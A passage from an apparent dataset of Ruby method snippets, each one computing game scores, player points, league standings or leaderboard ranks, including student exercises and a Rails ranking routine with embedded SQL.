\t\tpoints[:specialty_roll_probability_in_oc] = return_rational(points[:specialty_roll_enumerator_in_oc])\n\n \t\t# Get Specialty Roll Probability-DQ (x/6)\n \t\tpoints[:s_roll_prob_dq] = get_s_extra_values(hash, '(DQ)')\n \t\tpoints[:s_roll_prob_pa] = get_s_extra_values(hash, 'P/A')\n\t\tpoints[:s_roll_prob_sub] = get_s_extra_values(hash, '*')\n\t\tpoints[:s_roll_prob_xx] = get_s_extra_values(hash, '(xx)')\n \t\t\t\n\t\t# Find DQ, P/A, * and XX Values in OC and Ropes\n\t\t\n \t\tdq_hash = create_value_hash(hash, \"(DQ)\")\n \t\tpa_hash = create_value_hash(hash, \"P/A\")\n \t\tsub_hash = create_value_hash(hash, \"*\")\n \t\txx_hash = create_value_hash(hash, \"(xx)\")\n\n \t\tdq_hash.each { |k,v| \n \t\t\tkey = k.to_s + \"_dq\"\n \t\t\tpoints[key.to_sym] = 1\n \t\t}\n\n\t\tpa_hash.each { |k,v| \n \t\t\tkey = k.to_s + \"_pa\"\n \t\t\tpoints[key.to_sym] = 1\n \t\t} \t\n\n \t\tsub_hash.each { |k,v| \n \t\t\tkey = k.to_s + \"_sub\"\n \t\t\tpoints[key.to_sym] = 1\n \t\t}\n\n \t\txx_hash.each { |k,v| \n \t\t\tkey = k.to_s + \"_xx\"\n \t\t\tpoints[key.to_sym] = 1\n \t\t}\n\n \t\t# Determine Ropes Roll Enumerator\n \t\toc_ropes_hash = hash.select { |k,v| v == 'Ropes' }\n\n \t\tpoints[:oc_ropes_roll_probability] = prob_points(oc_ropes_hash)\n\n \t\t# Determine Enumerator of (S) rolls in Ropes\n \t\tropes_s_hash = hash.select { |k,v| k.to_s.include?(\"ro\") && v.include?('(S)') }\n \t\tpoints[:ropes_s_roll_probability] = prob_points(ropes_s_hash)\n\n \t\tpoints[:prioritys] = hash[:prioritys].to_i\n \t\tpoints[:priorityt] = hash[:priorityt].to_i\n\n \t\tpoints[:sub_numerator] = sub_tag_numerator(hash[:sub])\n \t\tpoints[:tag_save_numerator] = sub_tag_numerator(hash[:tag])\n\n \t\tpoints[:sub_prob] = return_rational(points[:sub_numerator]).to_f\n \t\tpoints[:tag_prob] = return_rational(points[:tag_save_numerator]).to_f\n\n\t\treturn points\n\tend",
"def points\n deal_points = tricks_points @tricks\n\n if not deal_points.inside? bid_said_by_team\n deal_points.add_points_to(bid_said_by_team, MatchPoints::VALAT_BONUS) if valat?\n\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n Points.zeros[bid_said_by_team] = doubling_points deal_points, @mode\n end\n elsif deal_points.inside? bid_said_by_team\n deal_points.add_points_to(opposing_team, MatchPoints::VALAT_BONUS) if valat?\n\n Points.zeros[opposing_team] = doubling_points deal_points, @mode\n elsif deal_points.hanging?\n if not @mode.is_a? DoubleMode\n @mode.match_points deal_points\n else\n doubled_points = doubling_points deal_points, @mode\n\n result = Points.zeros\n result[bid_said_by_team] = doubled_points / 2\n resutl[opposing_team] = doubled_points / 2\n\n result\n end\n end\n end",
"def rank_players(players)\n players.each do |p|\n p.bit_rank = p.rating << 30 |\n p.team_rating << 25 |\n p.conf_rating << 20 |\n p.id\n end\nend",
"def rank_payment(ranks)\n rank_payment = Hash.new(0)\n payments_per_rank = if self.name == 'h2h rr'\n # Handle unfilled h2h rr. Ranks.length is number of entrants\n unplayed_games = self.max_entries - ranks.length\n get_payout_structure.slice(get_payout_structure.length-ranks.length, ranks.length).map{|amt| amt + unplayed_games * self.buy_in / (self.max_entries-1) }\n else\n get_payout_structure\n end\n payments_per_rank.each_with_index do |payment, i|\n rank_payment[ranks[i]] += payment\n end\n return rank_payment\n end",
"def update_match_results_and_points(match)\n case match[2]\n when 'W'\n $wins[match[0]] = $wins[match[0]].to_i + 1\n $loses[match[1]] = $loses[match[1]].to_i + 1\n $points[match[0]] = $points[match[0]].to_i + 3\n when 'L'\n $loses[match[0]] = $loses[match[0]].to_i + 1\n $wins[match[1]] = $wins[match[1]].to_i + 1\n $points[match[1]] = $points[match[1]].to_i + 3\n else\n $draws[match[0]] = $draws[match[0]].to_i + 1\n $draws[match[1]] = $draws[match[1]].to_i + 1\n $points[match[0]] = $points[match[0]].to_i + 1\n $points[match[1]] = $points[match[1]].to_i + 1\n end\nend",
"def points\n @puntos = 0\n students.each do |s| \n @puntos += s.points\n end\n @puntos += house_points\n end",
"def num_points_scored(player_name)\n # if you were trying to explain this to someone in prework\n # who's stuck in hashketball, how would you explain how to do this?\n\n # find the num points scored as it relates to the name\n # we have all_players array\n # each value in all players has a smaller value that is the name of the player\n # that is also connected to the number of points they scored\n # find a way to sort the method / just find the value of points attributed to that name\n\n # hash of teams\n # visit each team\n # ask them for the player name list\n # check the list for the name\n # if i find it, then I have their points\n # I would return their points\n\n # argument pass in each player\n # try to return the amount of points associated with that player\n\n # pseudocode\n\n # i want all the players first <= simplify it ideally\n # home_players = game_hash[:home][:players]\n # away_players = game_hash[:away][:players]\n # all_players = home_players + away_players\n\n # so i can look through them\n # .each with an if\n # search, find, gofish\n # array of hashes\n # found_player = all_players.find do |player| # Hash\n # # find the player that matches the name\n # # binding.pry\n # # if player[:player_name] == player_name\n # # true\n # # else\n # # false\n # # end\n # player[:player_name] == player_name\n # end\n\n # get the points for that player\n found_player(player_name)[:points]\nend",
"def addBlankPlayer(retrosheet_id, hash)\n perfs = Hash.new\n perfs[\"career_games\"] = 0.0\n \n perfs[\"at_bats_last_1_game\"] = [0]\n perfs[\"at_bats_last_2_games\"] = [0, 0]\n perfs[\"at_bats_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"at_bats_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"at_bats_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_at_bats\"] = 0.0\n \n perfs[\"walks_last_1_game\"] = [0]\n perfs[\"walks_last_2_games\"] = [0, 0]\n perfs[\"walks_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"walks_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"walks_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_walks\"] = 0\n \n perfs[\"hits_last_1_game\"] = [0]\n perfs[\"hits_last_2_games\"] = [0, 0]\n perfs[\"hits_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"hits_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"hits_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_hits\"] = 0\n \n perfs[\"strikeouts_last_1_game\"] = [0]\n perfs[\"strikeouts_last_2_games\"] = [0, 0]\n perfs[\"strikeouts_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"strikeouts_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"strikeouts_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_strikeouts\"] = 0\n \n \n perfs[\"total_bases_last_1_game\"] = [0]\n perfs[\"total_bases_last_2_games\"] = [0, 0]\n perfs[\"total_bases_last_5_games\"] = [0, 0, 0, 0, 0]\n perfs[\"total_bases_last_10_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"total_bases_last_20_games\"] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n perfs[\"career_total_bases\"] = 0\n \n hash[retrosheet_id] = perfs\nend",
"def defineRanks\n\t\t#Recalculate ranking stats for all trainers \n\t\tTrainer.all.each do |trainer|\n\t\t\t#Gathering data\n\t\t\t@trainerPokemonCaughtCount = trainer.pokemons.where('huntstates.caught = 1').count\n\t\t\t@trainerPokemonSeenCount = trainer.pokemons.count\n\t\t\t@badgesCount = trainer.badges.count\n\t\t\t@points = @trainerPokemonCaughtCount * @trainerPokemonSeenCount * (@badgesCount + 1)\n\n\t\t\t#Build params for update OR create trainer's rank\n\t\t\t@paramsCreateUpdate = {\n\t\t\t\t:pokemon_viewed => @trainerPokemonSeenCount,\n\t\t\t\t:pokemon_caught => @trainerPokemonCaughtCount,\n\t\t\t\t:badges_count => @badgesCount,\n\t\t\t\t:total_points => @points \n\t\t\t}\n\n\t\t\t#Create/Update trainer's rank\n\t\t\tif trainer.rank != nil\n\t\t\t\ttrainer.rank.update(@paramsCreateUpdate)\n\t\t\telse \n\t\t\t\ttrainer.create_rank(@paramsCreateUpdate)\n\t\t\tend \n\t\tend\n\n\t\t#Determine position for each rank\n\t\t@i = 1\n\t\t@pointsPrevious = 0\n\t\t@decalage = 0\n\t\t@ranksOrderedByPoints = Rank.all.order(\"total_points desc\")\n\n\t\t@ranksOrderedByPoints.each do |rank|\n\t\t\tif @i!= 1 && rank.total_points == @pointsPrevious\n\t\t\t\t@decalage = @decalage + 1\n\t\t\tend\n\t\t\t@paramsPosition = { :position => (@i - @decalage)}\n\t\t\trank.update(@paramsPosition)\n\t\t\t@pointsPrevious = rank.total_points \n\t @i = @i + 1\n\t\tend\n\tend",
"def point_calculator(team)\n game_hash[team][:players].reduce(0) { | memo, player |\n memo += player[:points]\n }\nend",
"def update_points(result_str)\n win_or_loose = {\"win\" => 1, \"loose\" => 0}\n @points += win_or_loose[result_str]\n end",
"def num_points_scored(player_name)\npoints_scored = 0\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, data|\n if attribute == :players\n data.each do |player, stats|\n if player == player_name\n points_scored = stats[:points]\n end\n end\n end\n end\nend\npoints_scored\nend",
"def tally\n update_column :points, entries.sum(:points)\n end",
"def add_point\n @score += 1\n end",
"def ranking\n [what_rank, tie_breaker]\n end",
"def ranked_candidates\n Array(@ranking - [UNRANKED_ID]).flatten.sort\n end",
"def compare_ranking_lines(a, b)\n res = 0\n\n if a['points'] < b['points']\n res = 1\n\n elsif b['points'] < a['points']\n res = -1\n\n else\n a_won_games = a['3_points'] + a['2_points']\n b_won_games = b['3_points'] + b['2_points']\n\n if a_won_games < b_won_games\n res = 1\n\n elsif b_won_games < a_won_games\n res = -1\n\n else\n #tied in won games, look at ratio won sets/lost sets\n a_ratio = a['won_sets'].to_f / a['lost_sets']\n b_ratio = b['won_sets'].to_f / b['lost_sets']\n\n if a_ratio < b_ratio\n res = 1\n elsif b_ratio < a_ratio\n res = -1\n end\n end\n end\n\n return res\n end",
"def rerank\n s = score * DAY_POINTS\n self.rank = Time.now.to_i + s\n end",
"def judged_points(all_scores, score)\n place = judged_place(all_scores, score)\n my_ties = all_scores.count(score) - 1\n\n points(place, my_ties)\n end",
"def ranking(hash)\n\thash.map { |k, v| { k => mode(v[:votes]) } }\nend",
"def score\n [base_score] + kickers\n end",
"def calc_rank\n return (self.score * 20001) + self.speaks;\n end",
"def hash\n [self.class.name, rank, natural_rank].hash\n end",
"def zrank(key, member); end",
"def zrank(key, member); end",
"def big_shoe_points\n big_shoes_guy = 0\n points = 0\n game_hash.each do | location, attributes|\n attributes[:players].each do |player, stats|\n if stats[:shoe] > big_shoes_guy\n big_shoes_guy = stats[:shoe]\n points = stats[:points]\n end\n end\n end\n points\nend",
"def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end",
"def points\n self.votes.inject(0) { |points, vote| points + vote.value }\n end",
"def hash\n [auto_points, teleop_points, foul_points, adjust_points, total_points, robot1_auto, robot2_auto, robot3_auto, rotor1_auto, rotor2_auto, auto_fuel_low, auto_fuel_high, auto_mobility_points, auto_rotor_points, auto_fuel_points, teleop_fuel_points, teleop_fuel_low, teleop_fuel_high, teleop_rotor_points, k_pa_ranking_point_achieved, teleop_takeoff_points, k_pa_bonus_points, rotor_bonus_points, rotor1_engaged, rotor2_engaged, rotor3_engaged, rotor4_engaged, rotor_ranking_point_achieved, tech_foul_count, foul_count, touchpad_near, touchpad_middle, touchpad_far].hash\n end",
"def update_score!(points)\n increment!(:score, points)\n end",
"def match_points(match, player)\n scores = Result.where(:match_id => match)\n score_1 = scores.first\n score_2 = scores.last\n if score_1[:player_id] == player\n if score_1[:score] == 3 && score_2[:score] == 2\n points = 6\n elsif score_1[:score] == 3 && score_2[:score] == 1\n points = 6\n elsif score_1[:score] == 3 && score_2[:score] == 0\n points = 7\n elsif score_1[:score] == 2 && score_2[:score] == 3\n points = 4\n elsif score_1[:score] == 1 && score_2[:score] == 3\n points = 3\n elsif score_1[:score] == 0 && score_2[:score] == 3\n points = 2\n elsif score_1[:score] == 2 && score_2[:score] == 0\n points = 4\n elsif score_1[:score] == 2 && score_2[:score] == 1\n points = 4\n elsif score_1[:score] == 1 && score_2[:score] == 2\n points = 3\n elsif score_1[:score] == 0 && score_2[:score] == 2\n points = 2\n elsif score_1[:score] == 2 && score_2[:score] == 2\n points = 4\n elsif score_1[:score] == 1 && score_2[:score] == 0\n points = 3\n elsif score_1[:score] == 0 && score_2[:score] == 1\n points = 2\n elsif score_1[:score] == 1 && score_2[:score] == 1\n points = 3\n elsif score_1[:score] == 0 && score_2[:score] == 0\n points = 2\n elsif score_2[:score] == -1\n points = 6\n elsif score_1[:score] == -1\n points = 0\n end\n elsif score_2[:player_id] == player\n if score_2[:score] == 3 && score_1[:score] == 2\n points = 6\n elsif score_2[:score] == 3 && score_1[:score] == 1\n points = 6\n elsif score_2[:score] == 3 && score_1[:score] == 0\n points = 7\n elsif score_2[:score] == 2 && score_1[:score] == 3\n points = 4\n elsif score_2[:score] == 1 && score_1[:score] == 3\n points = 3\n elsif score_2[:score] == 0 && score_1[:score] == 3\n points = 2\n elsif score_2[:score] == 2 && score_1[:score] == 0\n points = 4\n elsif score_2[:score] == 2 && score_1[:score] == 1\n points = 4\n elsif score_2[:score] == 1 && score_1[:score] == 2\n points = 3\n elsif score_2[:score] == 0 && score_1[:score] == 2\n points = 2\n elsif score_2[:score] == 2 && score_1[:score] == 2\n points = 4\n elsif score_2[:score] == 1 && score_1[:score] == 0\n points = 3\n elsif score_2[:score] == 0 && score_1[:score] == 1\n points = 2\n elsif score_2[:score] == 1 && score_1[:score] == 1\n points = 3\n elsif score_2[:score] == 0 && score_1[:score] == 0\n points = 2\n elsif score_1[:score] == -1\n points = 6\n elsif score_2[:score] == -1\n points = 0\n end\n end\n return points\n end",
"def hash\n @rank.hash ^ @suit.hash\n end",
"def rankings\n self.total_against_goals = 0\n self.total_goals = 0\n if self.players != []\n self.players.each do |player|\n if player.scores.first != nil\n Game.all.each do |game|\n unless self.total_goals.nil? || self.total_against_goals.nil? || game.scores.last.goals.nil? || game.scores.first.goals.nil?\n if game.scores.first.player == player\n self.total_goals += game.scores.first.goals\n self.total_against_goals += game.scores.last.goals\n else\n self.total_goals += game.scores.last.goals\n self.total_against_goals += game.scores.first.goals\n end\n self.save\n end\n end\n end\n end\n end\n end",
"def points\n @points ||= begin\n h = Hash.new\n Point::ABS_POINTS_DATA.each do |pt_name|\n h.merge!(pt_name => Point.new(film, pt_name))\n end\n h\n end\n end",
"def compute_reviews_hash\n @review_scores = {}\n @response_type = 'ReviewResponseMap'\n # @myreviewers = ResponseMap.select('DISTINCT reviewer_id').where(['reviewed_object_id = ? && type = ? ', self.id, @response_type])\n\n # if this assignment uses vary rubric by rounds feature, load @questions for each round\n if self.varying_rubrics_by_round? # [reviewer_id][round][reviewee_id] = score\n rounds = self.rounds_of_reviews\n for round in 1..rounds\n @response_maps = ResponseMap.where(['reviewed_object_id = ? && type = ?', self.id, @response_type])\n review_questionnaire_id = review_questionnaire_id(round)\n\n @questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n\n @response_maps.each do |response_map|\n # Check if response is there\n @corresponding_response = Response.where(['map_id = ?', response_map.id])\n unless @corresponding_response.empty?\n @corresponding_response = @corresponding_response.reject {|response| response.round != round }\n end\n @respective_scores = {}\n @respective_scores = @review_scores[response_map.reviewer_id][round] if !@review_scores[response_map.reviewer_id].nil? && !@review_scores[response_map.reviewer_id][round].nil?\n\n if !@corresponding_response.empty?\n # @corresponding_response is an array, Answer.get_total_score calculate the score for the last one\n @this_review_score_raw = Answer.get_total_score(response: @corresponding_response, questions: @questions)\n if @this_review_score_raw\n @this_review_score = ((@this_review_score_raw * 100) / 100.0).round if @this_review_score_raw >= 0.0\n end\n else\n @this_review_score = -1.0\n end\n\n @respective_scores[response_map.reviewee_id] = @this_review_score\n @review_scores[response_map.reviewer_id] = {} if @review_scores[response_map.reviewer_id].nil?\n @review_scores[response_map.reviewer_id][round] = {} if @review_scores[response_map.reviewer_id][round].nil?\n @review_scores[response_map.reviewer_id][round] = @respective_scores\n end\n end\n else # [reviewer_id][reviewee_id] = score\n @response_maps = ResponseMap.where(['reviewed_object_id = ? && type = ?', self.id, @response_type])\n review_questionnaire_id = review_questionnaire_id()\n\n @questions = Question.where(['questionnaire_id = ?', review_questionnaire_id])\n\n @response_maps.each do |response_map|\n # Check if response is there\n @corresponding_response = Response.where(['map_id = ?', response_map.id])\n @respective_scores = {}\n @respective_scores = @review_scores[response_map.reviewer_id] unless @review_scores[response_map.reviewer_id].nil?\n\n if !@corresponding_response.empty?\n # @corresponding_response is an array, Answer.get_total_score calculate the score for the last one\n @this_review_score_raw = Answer.get_total_score(response: @corresponding_response, questions: @questions)\n if @this_review_score_raw\n @this_review_score = ((@this_review_score_raw * 100) / 100.0).round if @this_review_score_raw >= 0.0\n end\n else\n @this_review_score = -1.0\n end\n @respective_scores[response_map.reviewee_id] = @this_review_score\n @review_scores[response_map.reviewer_id] = @respective_scores\n end\n\n end\n @review_scores\n end",
"def num_points_scored(player_lookup) \n game_hash.each do |location, team_data|\n#return the number of points scored for that player\n team_data[:players].each do |player|\n if player[:player_name] == player_lookup\n return player[:points]\n end\n end\n end\nend",
"def num_points_scored(name)\n points = nil\n hash_of_players = {}\n game_hash.each do |location, elements|\n hash_of_players = elements[:players]\n hash_of_players.each do |player, stats|\n if player == name\n points = hash_of_players[player][:points]\n end\n end\n end\n points\nend",
"def rank; end",
"def rank; end",
"def num_points_scored (name)\n points_scored = 0\n game_hash.each do | team, details_hash |\n players_array = details_hash[:players]\n\n players_array.each do | player_details_hash |\n\n if player_details_hash[:player_name] == name\n points_scored = player_details_hash[:points]\n end\n end\n end\n points_scored\nend",
"def num_points_scored (player_name)\n points_scored = nil\n\n game_hash.each do |team, team_information_hash|\n players_array = team_information_hash[:players]\n players_array.each do |player_information_hash|\n if player_information_hash[:player_name] == player_name\n points_scored = player_information_hash[:points]\n end\n end\n end\n points_scored\nend",
"def update_rank\n age_in_days = (created_at - Time.new(1970,1,1)) / (60 * 60 * 24) # 1 day in seconds\n new_rank = points + age_in_days\n \n update_attribute(:rank, new_rank)\n end",
"def num_points_scored(player_name)\n# we use .each do |team, random| to iterate over each piece of data to expose specific data, in this case number of points scored by each player, within the above hash\n# and we use symbols (with one object id) to take up less memory\n game_hash.each do |team, random|\n game_hash[team][:players].each do |name, stats|\n if player_name == name\n return stats[:points]\n# then we want to return the number of points scored for each player if player_name is equal to the key of name\n\n end\n end\n end\n\nend",
"def update_rankings\n winner = Player.find(winner_id)\n loser = Player.find(loser_id)\n\n if self.draw\n if (winner.rank - loser.rank) < 1\n winner.update_ranking 1\n elsif winner.rank - loser.rank > 1\n loser.update_ranking 1\n end\n else\n if winner.rank < loser.rank\n return\n else\n diff = winner.rank - loser.rank\n loser.update_ranking 1\n winner.update_ranking (diff/2)*-1\n end\n end\n\n\n end",
"def place_results_by_points(break_ties = true)\n for result in results\n result.calculate_points\n end\n\n results.sort! do |x, y| \n x.compare_by_points(y)\n end\n\n previous_result = nil\n results.each_with_index do |result, index|\n if index == 0\n result.place = 1\n else\n if results[index - 1].compare_by_points(result, break_ties) == 0\n result.place = results[index - 1].place\n else\n result.place = index + 1\n end\n end\n result.save!\n end\n end",
"def scoring_hash\n pfh = player_fixture_history\n {\n id: id,\n role: role,\n position_id: position_id,\n player_id: player_id,\n status: player.status,\n minutes: pfh.nil? ? 0 : pfh['minutes'],\n points: pfh.nil? ? 0 : pfh['total_points'],\n team_id: player.team_id\n }\n end",
"def accumulate_numbers(ranking)\n @count = 0\n ranking.each { |entry|\n @count += entry[1]\n }\n end",
"def army_rank; end",
"def num_points_scored (sportsman)\ngame_hash\nscores = 0\n game_hash.each do |team_position, team_data|\n team_data.each do | player_name, information|\n # binding.pry\n if player_name == :players \n information.each do |name, numbers|\n #binding.pry\n if name == sportsman \n numbers.each do |key, value|\n #binding.pry\n if key == :points\n #binding.pry\n return scores = value.to_i\n #binding.pry\n end\n end\n end\n end\n end\n end\n end \n #return scores\n end",
"def compute_all_issues_rank\n\t\tissues = Issue.find :all\n\t\tranking = Hash.new()\n\t\tissues.each {|i| ranking[i.id] = 0.75 }\n\t\treturn ranking\n\tend",
"def update_ranks!\r\n conditions = \"account_status != 'active' OR hide_from_leaderboard = 1\"\r\n ineligible = ::User.first(:conditions => conditions)\r\n\r\n users_sql = <<SQL.chomp unless ineligible.nil?\r\nWHERE user_id NOT IN (SELECT id FROM `users` \\\r\nWHERE (`users`.account_status != 'active' AND `users`.proxy_user = 0) \\\r\nOR `users`.hide_from_leaderboard = 1)\r\nSQL\r\n\r\n connection.execute <<SQL.chomp\r\nSET @period = 'foobar', @rank = 0, @inc = 0, @points = 0\r\nSQL\r\n connection.execute <<SQL.chomp.gsub(/\\s+/, \" \") # Reformat.\r\nUPDATE `reputable_stats` outer_reputable_stats JOIN (\r\n SELECT IF (@period = period,\r\n IF (@points = points,\r\n @rank := @rank + least(0, @inc := @inc + 1),\r\n @rank := @rank + greatest(@inc, @inc := 1) +\r\n least(0, ABS(@points := points))),\r\n @rank := 1 + least(0, @period := period) +\r\n least(0, ABS(@points := points)) + least(0, @inc := 1))\r\n ranking, period, points, `reputable_stats`.id, (@rank + @inc - 1)\r\n AS inner_row FROM reputable_stats #{users_sql}\r\n ORDER BY section, period, points DESC\r\n) AS inner_reputable_stats\r\n ON outer_reputable_stats.id = inner_reputable_stats.id\r\nSET outer_reputable_stats.rank = ranking,\r\n outer_reputable_stats.row = inner_reputable_stats.inner_row,\r\n outer_reputable_stats.updated_on = CURDATE()\r\nSQL\r\n\r\n # NULLify rank and row for ineligible users.\r\n connection.execute <<SQL.chomp\r\nUPDATE `reputable_stats` \\\r\nJOIN `users` ON `reputable_stats`.user_id = `users`.id \\\r\nSET rank = NULL, row = NULL, updated_on = CURDATE() \\\r\nWHERE (`users`.account_status != 'active' \\\r\nOR `users`.proxy_user = 1 \\\r\nOR `users`.hide_from_leaderboard = 1)\r\nSQL\r\n end",
"def update_score_from_games!\n return if self.games.count == 0\n score_by_steam_id = {}\n self.games.each do |g|\n # Add one point to winning team, 0 to losing team so that they show up in the keyset when we check later\n if g.radiant_win === true\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i + 1\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i\n elsif g.radiant_win === false\n score_by_steam_id[g.radiant_team_id] = score_by_steam_id[g.radiant_team_id].to_i\n score_by_steam_id[g.dire_team_id] = score_by_steam_id[g.dire_team_id].to_i + 1\n end\n end\n\n # OK the keys are team ids, so now save them\n if score_by_steam_id[self.home_participant.id] != nil && score_by_steam_id[self.away_participant.id] != nil\n self.home_score = score_by_steam_id[self.home_participant.id]\n self.away_score = score_by_steam_id[self.away_participant.id]\n self.save!\n else\n puts score_by_steam_id.inspect\n puts self.home_participant_id.inspect\n puts self.away_participant_id.inspect\n puts \"WARNING: teams did not match, not updating match score\"\n end\n end",
"def update_rank\n age_in_days = (created_at - Time.new(1970,1,1)) / 1.day.seconds\n new_rank = points + age_in_days\n update_attribute(:rank, new_rank)\n end",
"def ranking\n self['ranking'] = score + self['num_comments']\n end",
"def ranking\n self['ranking'] = score + self['num_comments']\n end",
"def update_score\n games = Hash.new([])\n predictions.each do |prediction|\n key = prediction.match_id\n games[key] = {}\n games[key][:teams] = []\n games[key][:round] = prediction.round_id\n unless prediction.winner.nil?\n games[key][:teams] << prediction.winner.id\n end\n end\n Game.includes(:team1, :team2).find_each do |game|\n key = game.match_id\n unless game.winner.nil?\n games[key][:teams] << game.winner.id\n end\n end\n\n puts games.inspect\n\n score = 0\n games.each do |key, data|\n round = games[key][:round]\n winners = games[key][:teams]\n if winners.length == 2 and winners.first == winners.last\n score += (2 ** (round))\n end\n end\n self.update_attributes :score => score\n end",
"def num_points_scored (searched_player)\n player_points = 0\n game_hash[:away][:players].each do |player_data|\n if player_data[:player_name] == searched_player\n player_points = player_data[:points]\n end\n end\n game_hash[:home][:players].each do |player_data|\n if player_data[:player_name] == searched_player\n player_points = player_data[:points]\n end\n end\n player_points\nend",
"def num_points_scored(player_name)\n\ngame_hash.each do |location, team_data|\n team_data.each do |attribute, values|\n if attribute == :players\n values.each do |person, data|\n if person.to_s == player_name\n return game_hash[location][:players][person][:points]\n end\n end\n end\n end\n end\nend",
"def hash\n [group, x, y].hash\n end",
"def attach_points(round)\n num_answers = round.length() - 1\n gen = Generator.new({ number: num_answers })\n gen_points = gen.run\n i = 0\n until i > gen_points.length()\n unless gen_points[i].nil?\n round.insert(i + i + 2, gen_points[i])\n end\n i += 1\n end\n return round\n end",
"def ranking\n reindeer_hash = {}\n reindeer_arr = []\n puts \"Please rank reindeer with \\n numerical value 1 to 9\\n 1 being most favorite\\n 9 being least.\\n\"\n @reindeer_ranking.each do |reindeer|\n p reindeer\n reindeer_hash[reindeer] = gets.to_i\n end\n @reindeer_ranking = reindeer_hash\n p \"#{@name} Your favorite reindeer is #{@reindeer_ranking.key(1)}\"\n reindeer_hash.sort_by {|key, value| value }\n @reindeer_ranking.each do |key, value|\n reindeer_arr.insert(value - 1, key)\n end\n @reindeer_ranking = reindeer_arr.compact!\n puts\n end",
"def total_points\n\n points = 0\n wattball_matches_as_team1.each do |match|\n points += match.points(1) || 0\n end\n\n wattball_matches_as_team2.each do |match|\n points += match.points(2) || 0\n end\n\n points\n end",
"def test_competition_place_results_by_points\n race = standings(:jack_frost).races.create(:category_name => \"Masters Men 50+\")\n\n 20.times do\n race.results.create\n end\n \n ironman = Ironman.create(:date => Date.today)\n ironman_race = ironman.standings.create(:name => '2006').races.create(:category => Category.new(:name => 'Ironman'))\n \n first_competition_result = ironman_race.results.create\n first_competition_result.scores.create(:source_result => race.results[0], :competition_result => first_competition_result, :points => 45)\n \n second_competition_result = ironman_race.results.create\n second_competition_result.scores.create(:source_result => race.results[2], :competition_result => second_competition_result, :points => 45)\n \n third_competition_result = ironman_race.results.create\n race.results[3].place = 2\n race.results[3].save!\n third_competition_result.scores.create(:source_result => race.results[3], :competition_result => third_competition_result, :points => 15)\n third_competition_result.scores.create(:source_result => race.results[4], :competition_result => third_competition_result, :points => 15)\n race.results[4].place = 3\n race.results[4].save!\n \n fourth_competition_result = ironman_race.results.create\n fourth_competition_result.scores.create(:source_result => race.results[1], :competition_result => fourth_competition_result, :points => 30)\n race.results[1].place = 1\n race.results[1].save!\n \n fifth_competition_result = ironman_race.results.create\n fifth_competition_result.scores.create(:source_result => race.results[5], :competition_result => fifth_competition_result, :points => 4)\n race.results[5].place = 15\n race.results[5].save!\n fifth_competition_result.scores.create(:source_result => race.results[7], :competition_result => fifth_competition_result, :points => 2)\n race.results[7].place = 17\n race.results[7].save!\n \n sixth_competition_result = ironman_race.results.create\n sixth_competition_result.scores.create(:source_result => race.results[6], :competition_result => sixth_competition_result, :points => 5)\n race.results[6].place = 15\n race.results[6].save!\n sixth_competition_result.scores.create(:source_result => race.results[8], :competition_result => sixth_competition_result, :points => 1)\n race.results[8].place = 18\n race.results[8].save!\n \n seventh_competition_result = ironman_race.results.create\n seventh_competition_result.scores.create(:source_result => race.results[11], :competition_result => seventh_competition_result, :points => 2)\n race.results[11].place = 20\n race.results[11].save!\n \n eighth_competition_result = ironman_race.results.create\n eighth_competition_result.scores.create(:source_result => race.results[10], :competition_result => eighth_competition_result, :points => 1)\n race.results[10].place = 20\n race.results[10].save!\n eighth_competition_result.scores.create(:source_result => race.results[9], :competition_result => eighth_competition_result, :points => 1)\n race.results[9].place = 25\n race.results[9].save!\n \n ironman_race.results(true)\n for result in ironman_race.results\n result.calculate_points\n result.save!\n end\n ironman_race.place_results_by_points\n ironman_race.results(true).sort!\n assert_equal(first_competition_result, ironman_race.results.first, 'First result')\n assert_equal('1', ironman_race.results.first.place, 'First result place')\n assert_equal(second_competition_result, ironman_race.results[1], 'Second result')\n assert_equal('1', ironman_race.results[1].place, 'Second result place')\n assert_equal(fourth_competition_result, ironman_race.results[2], 'Third result')\n assert_equal('3', ironman_race.results[2].place, 'Third result place')\n assert_equal(third_competition_result, ironman_race.results[3], 'Fourth result')\n assert_equal('4', ironman_race.results[3].place, 'Fourth result place')\n assert_equal(fifth_competition_result, ironman_race.results[4], 'Fifth result')\n assert_equal('5', ironman_race.results[4].place, 'Fifth result place')\n assert_equal(sixth_competition_result, ironman_race.results[5], 'Sixth result')\n assert_equal('6', ironman_race.results[5].place, 'Sixth result place')\n assert_equal(eighth_competition_result, ironman_race.results[6], '7th result')\n assert_equal('7', ironman_race.results[6].place, '7th result place')\n assert_equal(seventh_competition_result, ironman_race.results[7], '8th result')\n assert_equal('8', ironman_race.results[7].place, '8th result place')\n end",
"def score=(points)\n s = points\n s = 0 if s < 0\n s = 100 if s > 100\n self[:score] = s\n rerank\n end",
